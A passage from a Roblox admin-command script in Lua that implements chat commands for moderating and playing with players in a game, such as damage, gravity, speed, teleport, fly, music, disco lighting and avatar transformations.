  1986. end))
  1987. end
  1988. end
  1989.  
  1990. if msg:lower():sub(1,12) == "removetools " then
  1991. local plrz = GetPlr(plr, msg:lower():sub(13))
  1992. for i, v in pairs(plrz) do
  1993. coroutine.resume(coroutine.create(function()
  1994. if v and v.Character and v:findFirstChild("Backpack") then
  1995. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1996. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1997. end
  1998. end))
  1999. end
  2000. end
  2001.  
  2002. if msg:lower():sub(1,5) == "rank " then
  2003. local chk1 = msg:lower():sub(6):find(" ") + 5
  2004. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2005. for i, v in pairs(plrz) do
  2006. coroutine.resume(coroutine.create(function()
  2007. if v and v:IsInGroup(msg:sub(chk1+1)) then
  2008. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  2009. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  2010. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  2011. end
  2012. end))
  2013. end
  2014. end
  2015.  
  2016. if msg:lower():sub(1,7) == "damage " then
  2017. local chk1 = msg:lower():sub(8):find(" ") + 7
  2018. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  2019. for i, v in pairs(plrz) do
  2020. coroutine.resume(coroutine.create(function()
  2021. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2022. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  2023. end
  2024. end))
  2025. end
  2026. end
  2027.  
  2028. if msg:lower():sub(1,5) == "grav " then
  2029. local plrz = GetPlr(plr, msg:lower():sub(6))
  2030. for i, v in pairs(plrz) do
  2031. coroutine.resume(coroutine.create(function()
  2032. if v and v.Character and v.Character:findFirstChild("Torso") then
  2033. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  2034. end
  2035. end))
  2036. end
  2037. end
  2038.  
  2039. if msg:lower():sub(1,8) == "setgrav " then
  2040. local chk1 = msg:lower():sub(9):find(" ") + 8
  2041. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  2042. for i, v in pairs(plrz) do
  2043. coroutine.resume(coroutine.create(function()
  2044. if v and v.Character and v.Character:findFirstChild("Torso") then
  2045. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  2046. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  2047. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  2048. end
  2049. end))
  2050. end
  2051. end
  2052.  
  2053. if msg:lower():sub(1,7) == "nograv " then
  2054. local plrz = GetPlr(plr, msg:lower():sub(8))
  2055. for i, v in pairs(plrz) do
  2056. coroutine.resume(coroutine.create(function()
  2057. if v and v.Character and v.Character:findFirstChild("Torso") then
  2058. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  2059. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  2060. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  2061. end
  2062. end))
  2063. end
  2064. end
  2065.  
  2066. if msg:lower():sub(1,7) == "health " then
  2067. local chk1 = msg:lower():sub(8):find(" ") + 7
  2068. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  2069. for i, v in pairs(plrz) do
  2070. coroutine.resume(coroutine.create(function()
  2071. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2072. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  2073. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  2074. end
  2075. end))
  2076. end
  2077. end
  2078.  
  2079. if msg:lower():sub(1,6) == "speed " then
  2080. local chk1 = msg:lower():sub(7):find(" ") + 6
  2081. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  2082. for i, v in pairs(plrz) do
  2083. coroutine.resume(coroutine.create(function()
  2084. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  2085. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  2086. end
  2087. end))
  2088. end
  2089. end
  2090.  
  2091. if msg:lower():sub(1,5) == "team " then
  2092. local chk1 = msg:lower():sub(6):find(" ") + 5
  2093. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2094. for i, v in pairs(plrz) do
  2095. coroutine.resume(coroutine.create(function()
  2096. if v and game:findFirstChild("Teams") then
  2097. for a, tm in pairs(game.Teams:children()) do
  2098. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  2099. end
  2100. end
  2101. end))
  2102. end
  2103. end
  2104.  
  2105. if msg:lower():sub(1,6) == "place " then
  2106. local chk1 = msg:lower():sub(7):find(" ") + 6
  2107. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  2108. for i, v in pairs(plrz) do
  2109. coroutine.resume(coroutine.create(function()
  2110. if v and v:findFirstChild("PlayerGui") then
  2111. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  2112. end
  2113. end))
  2114. end
  2115. end
  2116.  
  2117. if msg:lower():sub(1,3) == "tp " then
  2118. local chk1 = msg:lower():sub(4):find(" ") + 3
  2119. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2120. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  2121. for i, v in pairs(plrz) do
  2122. coroutine.resume(coroutine.create(function()
  2123. for i2, v2 in pairs(plrz2) do
  2124. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  2125. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  2126. end
  2127. end
  2128. end))
  2129. end
  2130. end
  2131.  
  2132. if msg:lower():sub(1,7) == "change " then
  2133. local chk1 = msg:lower():sub(8):find(" ") + 7
  2134. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  2135. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  2136. for i, v in pairs(plrz) do
  2137. coroutine.resume(coroutine.create(function()
  2138. if v and v:findFirstChild("leaderstats") then
  2139. for a, st in pairs(v.leaderstats:children()) do
  2140. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  2141. end
  2142. end
  2143. end))
  2144. end
  2145. end
  2146.  
  2147. if msg:lower():sub(1,6) == "shirt " then
  2148. local chk1 = msg:lower():sub(7):find(" ") + 6
  2149. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  2150. for i, v in pairs(plrz) do
  2151. coroutine.resume(coroutine.create(function()
  2152. if v and v.Character then
  2153. for i,v in pairs(v.Character:children()) do
  2154. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  2155. end
  2156. end
  2157. end))
  2158. end
  2159. end
  2160.  
  2161. if msg:lower():sub(1,6) == "pants " then
  2162. local chk1 = msg:lower():sub(7):find(" ") + 6
  2163. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  2164. for i, v in pairs(plrz) do
  2165. coroutine.resume(coroutine.create(function()
  2166. if v and v.Character then
  2167. for i,v in pairs(v.Character:children()) do
  2168. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  2169. end
  2170. end
  2171. end))
  2172. end
  2173. end
  2174.  
  2175. if msg:lower():sub(1,5) == "face " then
  2176. local chk1 = msg:lower():sub(6):find(" ") + 5
  2177. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2178. for i, v in pairs(plrz) do
  2179. coroutine.resume(coroutine.create(function()
  2180. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  2181. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  2182. end
  2183. end))
  2184. end
  2185. end
  2186.  
  2187. ---------------------
  2188. -- FunCommands --
  2189. ---------------------
  2190. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2191.  
  2192. if msg:lower():sub(1,8) == "swagify " then
  2193. local plrz = GetPlr(plr, msg:lower():sub(9))
  2194. for i, v in pairs(plrz) do
  2195. coroutine.resume(coroutine.create(function()
  2196. if v and v.Character then
  2197. for i,v in pairs(v.Character:children()) do
  2198. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  2199. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  2200. end
  2201. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  2202. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  2203. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  2204. local torso = plr.Character.Torso
  2205. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  2206. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  2207. p.Size = Vector3.new(.2,.2,.2)
  2208. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  2209. local motor1 = Instance.new("Motor", p)
  2210. motor1.Part0 = p
  2211. motor1.Part1 = torso
  2212. motor1.MaxVelocity = .01
  2213. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  2214. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  2215. local wave = false
  2216. repeat wait(1/44)
  2217. local ang = 0.1
  2218. local oldmag = torso.Velocity.magnitude
  2219. local mv = .002
  2220. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  2221. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  2222. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  2223. motor1.DesiredAngle = -ang
  2224. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  2225. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  2226. if torso.Velocity.magnitude < .1 then wait(.1) end
  2227. until not p or p.Parent ~= torso.Parent
  2228. script:Destroy()
  2229. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  2230. end
  2231. end))
  2232. end
  2233. end
  2234.  
  2235. if msg:lower():sub(1,6) == "music " then
  2236. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  2237. local id = msg:sub(7)
  2238. local pitch = 1
  2239. if tostring(id):lower():find("caramell") then id = 2303479 end
  2240. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  2241. if tostring(id):find("rick") then id = 2027611 end
  2242. if tostring(id):find("halo") then id = 1034065 end
  2243. if tostring(id):find("pokemon") then id = 1372261 end
  2244. if tostring(id):find("cursed") then id = 1372257 end
  2245. if tostring(id):find("extreme") then id = 11420933 end
  2246. if tostring(id):find("awaken") then id = 27697277 end
  2247. if tostring(id):find("alone") then id = 27697392 end
  2248. if tostring(id):find("mario") then id = 1280470 end
  2249. if tostring(id):find("choir") then id = 1372258 end
  2250. if tostring(id):find("chrono") then id = 1280463 end
  2251. if tostring(id):find("dotr") then id = 11420922 end
  2252. if tostring(id):find("entertain") then id = 27697267 end
  2253. if tostring(id):find("fantasy") then id = 1280473 end
  2254. if tostring(id):find("final") then id = 1280414 end
  2255. if tostring(id):find("emblem") then id = 1372259 end
  2256. if tostring(id):find("flight") then id = 27697719 end
  2257. if tostring(id):find("banjo") then id = 27697298 end
  2258. if tostring(id):find("gothic") then id = 27697743 end
  2259. if tostring(id):find("hiphop") then id = 27697735 end
  2260. if tostring(id):find("intro") then id = 27697707 end
  2261. if tostring(id):find("mule") then id = 1077604 end
  2262. if tostring(id):find("film") then id = 27697713 end
  2263. if tostring(id):find("nezz") then id = 8610025 end
  2264. if tostring(id):find("angel") then id = 1372260 end
  2265. if tostring(id):find("resist") then id = 27697234 end
  2266. if tostring(id):find("schala") then id = 5985787 end
  2267. if tostring(id):find("organ") then id = 11231513 end
  2268. if tostring(id):find("tunnel") then id = 9650822 end
  2269. if tostring(id):find("spanish") then id = 5982975 end
  2270. if tostring(id):find("venom") then id = 1372262 end
  2271. if tostring(id):find("wind") then id = 1015394 end
  2272. if tostring(id):find("guitar") then id = 5986151 end
  2273. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  2274. end
  2275.  
  2276. if msg:lower() == "stopmusic" then
  2277. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  2278. end
  2279.  
  2280. if msg:lower() == "musiclist" then
  2281. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  2282. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  2283. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  2284. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2285. end
  2286.  
  2287. if msg:lower():sub(1,4) == "fly " then
  2288. local plrz = GetPlr(plr, msg:lower():sub(5))
  2289. for i, v in pairs(plrz) do
  2290. coroutine.resume(coroutine.create(function()
  2291. if v and v:findFirstChild("PlayerGui") then
  2292. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  2293. local mouse = game.Players.LocalPlayer:GetMouse()
  2294. repeat wait() until mouse
  2295. local plr = game.Players.LocalPlayer
  2296. local torso = plr.Character.Torso
  2297. local flying = true
  2298. local deb = true
  2299. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  2300. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  2301. local maxspeed = 50
  2302. local speed = 0
  2303. function Fly()
  2304. local bg = Instance.new("BodyGyro", torso)
  2305. bg.P = 9e4
  2306. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  2307. bg.cframe = torso.CFrame
  2308. local bv = Instance.new("BodyVelocity", torso)
  2309. bv.velocity = Vector3.new(0,0.1,0)
  2310. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  2311. repeat wait()
  2312. plr.Character.Humanoid.PlatformStand = true
  2313. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  2314. speed = speed+.5+(speed/maxspeed)
  2315. if speed > maxspeed then
  2316. speed = maxspeed
  2317. end
  2318. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  2319. speed = speed-1
  2320. if speed < 0 then
  2321. speed = 0
  2322. end
  2323. end
  2324. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  2325. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  2326. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  2327. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  2328. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  2329. else
  2330. bv.velocity = Vector3.new(0,0.1,0)
  2331. end
  2332. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  2333. until not flying
  2334. ctrl = {f = 0, b = 0, l = 0, r = 0}
  2335. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  2336. speed = 0
  2337. bg:Destroy()
  2338. bv:Destroy()
  2339. plr.Character.Humanoid.PlatformStand = false
  2340. end
  2341. mouse.KeyDown:connect(function(key)
  2342. if key:lower() == "e" then
  2343. if flying then flying = false
  2344. else
  2345. flying = true
  2346. Fly()
  2347. end
  2348. elseif key:lower() == "w" then
  2349. ctrl.f = 1
  2350. elseif key:lower() == "s" then
  2351. ctrl.b = -1
  2352. elseif key:lower() == "a" then
  2353. ctrl.l = -1
  2354. elseif key:lower() == "d" then
  2355. ctrl.r = 1
  2356. end
  2357. end)
  2358. mouse.KeyUp:connect(function(key)
  2359. if key:lower() == "w" then
  2360. ctrl.f = 0
  2361. elseif key:lower() == "s" then
  2362. ctrl.b = 0
  2363. elseif key:lower() == "a" then
  2364. ctrl.l = 0
  2365. elseif key:lower() == "d" then
  2366. ctrl.r = 0
  2367. end
  2368. end)
  2369. Fly()]]
  2370. cl.Parent = v.PlayerGui cl.Disabled = false
  2371. end
  2372. end))
  2373. end
  2374. end
  2375.  
  2376. if msg:lower():sub(1,6) == "unfly " then
  2377. local plrz = GetPlr(plr, msg:lower():sub(7))
  2378. for i, v in pairs(plrz) do
  2379. coroutine.resume(coroutine.create(function()
  2380. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  2381. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  2382. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  2383. wait(.1) v.Character.Humanoid.PlatformStand = false
  2384. end
  2385. end))
  2386. end
  2387. end
  2388.  
  2389. if msg:lower() == "disco" then
  2390. for i, v in pairs(lobjs) do v:Destroy() end
  2391. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  2392. game.Lighting.Ambient = color
  2393. game.Lighting.FogColor = color
  2394. until nil]]
  2395. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  2396. end
  2397.  
  2398. if msg:lower() == "flash" then
  2399. for i, v in pairs(lobjs) do v:Destroy() end
  2400. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  2401. game.Lighting.Ambient = Color3.new(1,1,1)
  2402. game.Lighting.FogColor = Color3.new(1,1,1)
  2403. game.Lighting.Brightness = 1
  2404. game.Lighting.TimeOfDay = 14
  2405. wait(.1)
  2406. game.Lighting.Ambient = Color3.new(0,0,0)
  2407. game.Lighting.FogColor = Color3.new(0,0,0)
  2408. game.Lighting.Brightness = 0
  2409. game.Lighting.TimeOfDay = 0
  2410. until nil]]
  2411. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  2412. end
  2413.  
  2414. if msg:lower():sub(1,5) == "spin " then
  2415. local plrz = GetPlr(plr, msg:lower():sub(6))
  2416. for i, v in pairs(plrz) do
  2417. coroutine.resume(coroutine.create(function()
  2418. if v and v.Character and v.Character:findFirstChild("Torso") then
  2419. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  2420. local torso = v.Character:findFirstChild("Torso")
  2421. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  2422. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  2423. until not bg or bg.Parent ~= torso
  2424. end
  2425. end))
  2426. end
  2427. end
  2428.  
  2429. if msg:lower():sub(1,7) == "unspin " then
  2430. local plrz = GetPlr(plr, msg:lower():sub(8))
  2431. for i, v in pairs(plrz) do
  2432. coroutine.resume(coroutine.create(function()
  2433. if v and v.Character and v.Character:findFirstChild("Torso") then
  2434. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  2435. end
  2436. end))
  2437. end
  2438. end
  2439.  
  2440. if msg:lower():sub(1,4) == "dog " then
  2441. local plrz = GetPlr(plr, msg:lower():sub(5))
  2442. for i, v in pairs(plrz) do
  2443. coroutine.resume(coroutine.create(function()
  2444. if v and v.Character and v.Character:findFirstChild("Torso") then
  2445. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2446. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2447. v.Character.Torso.Transparency = 1
  2448. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2449. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  2450. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  2451. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  2452. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  2453. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  2454. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  2455. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  2456. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  2457. end
  2458. end))
  2459. end
  2460. end
  2461.  
  2462. if msg:lower():sub(1,6) == "undog " then
  2463. local plrz = GetPlr(plr, msg:lower():sub(7))
  2464. for i, v in pairs(plrz) do
  2465. coroutine.resume(coroutine.create(function()
  2466. if v and v.Character and v.Character:findFirstChild("Torso") then
  2467. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2468. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2469. v.Character.Torso.Transparency = 0
  2470. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2471. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2472. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2473. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2474. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2475. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  2476. end
  2477. end))
  2478. end
  2479. end
  2480.  
  2481. if msg:lower():sub(1,8) == "creeper " then
  2482. local plrz = GetPlr(plr, msg:lower():sub(9))
  2483. for i, v in pairs(plrz) do
  2484. coroutine.resume(coroutine.create(function()
  2485. if v and v.Character and v.Character:findFirstChild("Torso") then
  2486. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2487. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2488. v.Character.Torso.Transparency = 0
  2489. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2490. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  2491. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  2492. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  2493. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  2494. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  2495. end
  2496. end))
  2497. end
  2498. end
  2499.  
  2500. if msg:lower():sub(1,10) == "uncreeper " then
  2501. local plrz = GetPlr(plr, msg:lower():sub(11))
  2502. for i, v in pairs(plrz) do
  2503. coroutine.resume(coroutine.create(function()
  2504. if v and v.Character and v.Character:findFirstChild("Torso") then
  2505. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2506. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2507. v.Character.Torso.Transparency = 0
  2508. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2509. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2510. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2511. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2512. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2513. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  2514. end
  2515. end))
  2516. end
  2517. end
  2518.  
  2519. if msg:lower():sub(1,8) == "bighead " then
  2520. local plrz = GetPlr(plr, msg:lower():sub(9))
  2521. for i, v in pairs(plrz) do
  2522. coroutine.resume(coroutine.create(function()
  2523. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  2524. end))
  2525. end
  2526. end
  2527.  
  2528. if msg:lower():sub(1,9) == "minihead " then
  2529. local plrz = GetPlr(plr, msg:lower():sub(10))
  2530. for i, v in pairs(plrz) do
  2531. coroutine.resume(coroutine.create(function()
  2532. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  2533. end))
  2534. end
  2535. end
  2536.  
  2537. if msg:lower():sub(1,6) == "fling " then
  2538. local plrz = GetPlr(plr, msg:lower():sub(7))
  2539. for i, v in pairs(plrz) do
  2540. coroutine.resume(coroutine.create(function()
  2541. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  2542. local xran local zran
  2543. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2544. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2545. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  2546. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2547. end
